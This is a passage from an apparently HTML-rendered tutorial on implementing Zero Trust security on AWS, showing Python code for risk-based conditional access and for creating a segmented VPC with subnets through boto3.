</span>        <span class="k">if</span> <span class="ow">not</span> <span class="n">user_context</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">device_compliant</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">risk_score</span> <span class="o">+=</span> <span class="mi">25</span>
        
        <span class="c1"># Check location anomaly
</span>        <span class="k">if</span> <span class="n">user_context</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">location_anomaly</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">risk_score</span> <span class="o">+=</span> <span class="mi">35</span>
        
        <span class="c1"># Check recent failed attempts
</span>        <span class="n">failed_attempts</span> <span class="o">=</span> <span class="n">user_context</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">recent_failed_attempts</span><span class="sh">'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
        <span class="n">risk_score</span> <span class="o">+=</span> <span class="nf">min</span><span class="p">(</span><span class="n">failed_attempts</span> <span class="o">*</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">40</span><span class="p">)</span>
        
        <span class="c1"># Determine risk level
</span>        <span class="k">if</span> <span class="n">risk_score</span> <span class="o">&gt;=</span> <span class="mi">70</span><span class="p">:</span>
            <span class="k">return</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span>
        <span class="k">elif</span> <span class="n">risk_score</span> <span class="o">&gt;=</span> <span class="mi">40</span><span class="p">:</span>
            <span class="k">return</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="k">return</span> <span class="sh">'</span><span class="s">low</span><span class="sh">'</span>
    
    <span class="k">def</span> <span class="nf">is_trusted_ip</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">ip_address</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Check if IP address is in trusted ranges</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="n">ip</span> <span class="o">=</span> <span class="n">ipaddress</span><span class="p">.</span><span class="nf">ip_address</span><span class="p">(</span><span class="n">ip_address</span><span class="p">)</span>
            <span class="k">for</span> <span class="n">trusted_range</span> <span class="ow">in</span> <span class="n">self</span><span class="p">.</span><span class="n">trusted_ip_ranges</span><span class="p">:</span>
                <span class="k">if</span> <span class="n">ip</span> <span class="ow">in</span> <span class="n">ipaddress</span><span class="p">.</span><span class="nf">ip_network</span><span class="p">(</span><span class="n">trusted_range</span><span class="p">):</span>
                    <span class="k">return</span> <span class="bp">True</span>
            <span class="k">return</span> <span class="bp">False</span>
        <span class="k">except</span><span class="p">:</span>
            <span class="k">return</span> <span class="bp">False</span>
    
    <span class="k">def</span> <span class="nf">is_business_hours</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">access_time</span><span class="p">:</span> <span class="n">datetime</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Check if access is during business hours</span><span class="sh">"""</span>
        
        <span class="c1"># Convert to UTC if needed
</span>        <span class="k">if</span> <span class="n">access_time</span><span class="p">.</span><span class="n">tzinfo</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
            <span class="n">access_time</span> <span class="o">=</span> <span class="n">access_time</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="n">tzinfo</span><span class="o">=</span><span class="n">timezone</span><span class="p">.</span><span class="n">utc</span><span class="p">)</span>
        
        <span class="c1"># Business hours: 8 AM to 6 PM UTC
</span>        <span class="n">hour</span> <span class="o">=</span> <span class="n">access_time</span><span class="p">.</span><span class="n">hour</span>
        <span class="k">return</span> <span class="mi">8</span> <span class="o">&lt;=</span> <span class="n">hour</span> <span class="o">&lt;=</span> <span class="mi">18</span>
    
    <span class="k">def</span> <span class="nf">implement_conditional_access</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">user_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">user_context</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Implement conditional access based on user context</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Assess risk level
</span>            <span class="n">risk_level</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">assess_access_risk</span><span class="p">(</span><span class="n">user_context</span><span class="p">)</span>
            
            <span class="c1"># Generate appropriate policy
</span>            <span class="n">access_policy</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">create_adaptive_access_policy</span><span class="p">(</span><span class="n">risk_level</span><span class="p">)</span>
            
            <span class="c1"># Apply policy to user's session
</span>            <span class="n">policy_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">ConditionalAccess-</span><span class="si">{</span><span class="n">user_id</span><span class="si">}</span><span class="s">-</span><span class="si">{</span><span class="nf">int</span><span class="p">(</span><span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">().</span><span class="nf">timestamp</span><span class="p">())</span><span class="si">}</span><span class="sh">"</span>
            
            <span class="c1"># Note: In practice, you would apply this to the user's session
</span>            <span class="c1"># This is a simplified example
</span>            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">user_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">user_id</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">:</span> <span class="n">risk_level</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">policy_applied</span><span class="sh">'</span><span class="p">:</span> <span class="n">policy_name</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">success</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">conditions</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">mfa_required</span><span class="sh">'</span><span class="p">:</span> <span class="n">risk_level</span> <span class="ow">in</span> <span class="p">[</span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">restricted_actions</span><span class="sh">'</span><span class="p">:</span> <span class="n">risk_level</span> <span class="o">==</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">session_duration</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">get_session_duration</span><span class="p">(</span><span class="n">risk_level</span><span class="p">)</span>
                <span class="p">}</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">user_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">user_id</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">failed</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">:</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
            <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">get_session_duration</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">risk_level</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Get appropriate session duration based on risk level</span><span class="sh">"""</span>
        
        <span class="n">duration_mapping</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">PT8H</span><span class="sh">'</span><span class="p">,</span>      <span class="c1"># 8 hours
</span>            <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">PT4H</span><span class="sh">'</span><span class="p">,</span>   <span class="c1"># 4 hours
</span>            <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">PT1H</span><span class="sh">'</span>      <span class="c1"># 1 hour
</span>        <span class="p">}</span>
        
        <span class="k">return</span> <span class="n">duration_mapping</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">risk_level</span><span class="p">,</span> <span class="sh">'</span><span class="s">PT4H</span><span class="sh">'</span><span class="p">)</span>

<span class="c1"># Example usage
</span><span class="n">conditional_access</span> <span class="o">=</span> <span class="nc">ConditionalAccessManager</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="network-level-zero-trust-implementation">Network-Level Zero Trust Implementation</h2>

<h3 id="vpc-zero-trust-architecture">VPC Zero Trust Architecture</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">from</span> <span class="n">typing</span> <span class="kn">import</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">List</span>

<span class="k">class</span> <span class="nc">ZeroTrustNetworkManager</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">ec2</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">ec2</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">elbv2</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">elbv2</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">route53</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">route53</span><span class="sh">'</span><span class="p">)</span>
        
    <span class="k">def</span> <span class="nf">create_zero_trust_vpc</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">vpc_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">cidr_block</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create VPC with Zero Trust network architecture</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Create VPC
</span>            <span class="n">vpc_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_vpc</span><span class="p">(</span>
                <span class="n">CidrBlock</span><span class="o">=</span><span class="n">cidr_block</span><span class="p">,</span>
                <span class="n">TagSpecifications</span><span class="o">=</span><span class="p">[</span>
                    <span class="p">{</span>
                        <span class="sh">'</span><span class="s">ResourceType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">vpc</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">Tags</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                            <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="n">vpc_name</span><span class="p">},</span>
                            <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ZeroTrust</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">true</span><span class="sh">'</span><span class="p">},</span>
                            <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Environment</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">production</span><span class="sh">'</span><span class="p">}</span>
                        <span class="p">]</span>
                    <span class="p">}</span>
                <span class="p">]</span>
            <span class="p">)</span>
            
            <span class="n">vpc_id</span> <span class="o">=</span> <span class="n">vpc_response</span><span class="p">[</span><span class="sh">'</span><span class="s">Vpc</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">VpcId</span><span class="sh">'</span><span class="p">]</span>
            
            <span class="c1"># Enable DNS support and hostnames
</span>            <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">modify_vpc_attribute</span><span class="p">(</span>
                <span class="n">VpcId</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
                <span class="n">EnableDnsSupport</span><span class="o">=</span><span class="p">{</span><span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">}</span>
            <span class="p">)</span>
            
            <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">modify_vpc_attribute</span><span class="p">(</span>
                <span class="n">VpcId</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
                <span class="n">EnableDnsHostnames</span><span class="o">=</span><span class="p">{</span><span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">}</span>
            <span class="p">)</span>
            
            <span class="c1"># Create segmented subnets
</span>            <span class="n">subnets</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">create_segmented_subnets</span><span class="p">(</span><span class="n">vpc_id</span><span class="p">,</span> <span class="n">cidr_block</span><span class="p">)</span>
            
            <span class="c1"># Create security groups with Zero Trust principles
</span>            <span class="n">security_groups</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">create_zero_trust_security_groups</span><span class="p">(</span><span class="n">vpc_id</span><span class="p">)</span>
            
            <span class="c1"># Create VPC endpoints for secure service access
</span>            <span class="n">vpc_endpoints</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">create_vpc_endpoints</span><span class="p">(</span><span class="n">vpc_id</span><span class="p">,</span> <span class="n">subnets</span><span class="p">[</span><span class="sh">'</span><span class="s">private</span><span class="sh">'</span><span class="p">])</span>
            
            <span class="c1"># Configure Network ACLs
</span>            <span class="n">network_acls</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">configure_network_acls</span><span class="p">(</span><span class="n">vpc_id</span><span class="p">,</span> <span class="n">subnets</span><span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">vpc_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">vpc_id</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">subnets</span><span class="sh">'</span><span class="p">:</span> <span class="n">subnets</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">security_groups</span><span class="sh">'</span><span class="p">:</span> <span class="n">security_groups</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">vpc_endpoints</span><span class="sh">'</span><span class="p">:</span> <span class="n">vpc_endpoints</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">network_acls</span><span class="sh">'</span><span class="p">:</span> <span class="n">network_acls</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">created</span><span class="sh">'</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">return</span> <span class="p">{</span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">failed</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">:</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)}</span>
    
    <span class="k">def</span> <span class="nf">create_segmented_subnets</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">vpc_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">vpc_cidr</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create network segments following Zero Trust principles</span><span class="sh">"""</span>
        
        <span class="n">subnets</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">public</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">private</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">data</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">management</span><span class="sh">'</span><span class="p">:</span> <span class="p">[]</span>
        <span class="p">}</span>
        
        <span class="c1"># Define subnet configurations
</span>        <span class="n">subnet_configs</span> <span class="o">=</span> <span class="p">[</span>
            <span class="c1"># Public subnets (NAT Gateways, Load Balancers)
</span>            <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ZeroTrust-Public-1A</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cidr</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">10.0.1.0/24</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">az</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">us-east-1a</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">public</span><span class="sh">'</span><span class="p">},</span>
            <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ZeroTrust-Public-1B</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cidr</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">10.0.2.0/24</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">az</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">us-east-1b</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">public</span><span class="sh">'</span><span class="p">},</span>
            
            <span class="c1"># Private subnets (Application tier)
</span>            <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ZeroTrust-App-1A</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cidr</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">10.0.11.0/24</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">az</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">us-east-1a</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">private</span><span class="sh">'</span><span class="p">},</span>
            <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ZeroTrust-App-1B</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cidr</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">10.0.12.0/24</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">az</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">us-east-1b</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">private</span><span class="sh">'</span><span class="p">},</span>
            
            <span class="c1"># Data subnets (Database tier)
</span>            <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ZeroTrust-Data-1A</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cidr</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">10.0.21.0/24</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">az</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">us-east-1a</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">data</span><span class="sh">'</span><span class="p">},</span>
            <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ZeroTrust-Data-1B</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cidr</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">10.0.22.0/24</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">az</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">us-east-1b</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">data</span><span class="sh">'</span><span class="p">},</span>
            
            <span class="c1"># Management subnets (Bastion, monitoring)
</span>            <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ZeroTrust-Mgmt-1A</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cidr</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">10.0.31.0/24</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">az</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">us-east-1a</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">management</span><span class="sh">'</span><span class="p">},</span>
            <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ZeroTrust-Mgmt-1B</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cidr</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">10.0.32.0/24</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">az</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">us-east-1b</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">management</span><span class="sh">'</span><span class="p">}</span>
        <span class="p">]</span>
        
        <span class="k">for</span> <span class="n">config</span> <span class="ow">in</span> <span class="n">subnet_configs</span><span class="p">:</span>
            <span class="k">try</span><span class="p">:</span>
                <span class="n">response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_subnet</span><span class="p">(</span>
                    <span class="n">VpcId</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
                    <span class="n">CidrBlock</span><span class="o">=</span><span class="n">config</span><span class="p">[</span><span class="sh">'</span><span class="s">cidr</span><span class="sh">'</span><span class="p">],</span>
                    <span class="n">AvailabilityZone</span><span class="o">=</span><span class="n">config</span><span class="p">[</span><span class="sh">'</span><span class="s">az</span><span class="sh">'</span><span class="p">],</span>
                    <span class="n">TagSpecifications</span><span class="o">=</span><span class="p">[</span>
                        <span class="p">{</span>
                            <span class="sh">'</span><span class="s">ResourceType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">subnet</span><span class="sh">'</span><span class="p">,</span>
                            <span class="sh">'</span><span class="s">Tags</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                                <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="n">config</span><span class="p">[</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">]},</span>
                                <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Type</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="n">config</span><span class="p">[</span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">]},</span>
                                <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ZeroTrust</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">true</span><span class="sh">'</span><span class="p">}</span>
                            <span class="p">]</span>
                        <span class="p">}</span>
                    <span class="p">]</span>
                <span class="p">)</span>
                
                <span class="n">subnet_id</span> <span class="o">=</span> <span class="n">response</span><span class="p">[</span><span class="sh">'</span><span class="s">Subnet</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">SubnetId</span><span class="sh">'</span><span class="p">]</span>
                <span class="n">subnets</span><span class="p">[</span><span class="n">config</span><span class="p">[</span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">]].</span><span class="nf">append</span><span class="p">(</span><span class="n">subnet_id</span><span class="p">)</span>
                
                <span class="c1"># Enable auto-assign public IP for public subnets
</span>                <span class="k">if</span> <span class="n">config</span><span class="p">[</span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="sh">'</span><span class="s">public</span><span class="sh">'</span><span class="p">:</span>
                    <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">modify_subnet_attribute</span><span class="p">(</span>
                        <span class="n">SubnetId</span><span class="o">=</span><span class="n">subnet_id</span><span class="p">,</span>
                        <span class="n">MapPublicIpOnLaunch</span><span class="o">=</span><span class="p">{</span><span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">}</span>
                    <span class="p">)</span>
                
            <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
                <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to create subnet </span><span class="si">{</span><span class="n">config</span><span class="p">[</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">subnets</span>
    
    <span class="k">def</span> <span class="nf">create_zero_trust_security_groups</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">vpc_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
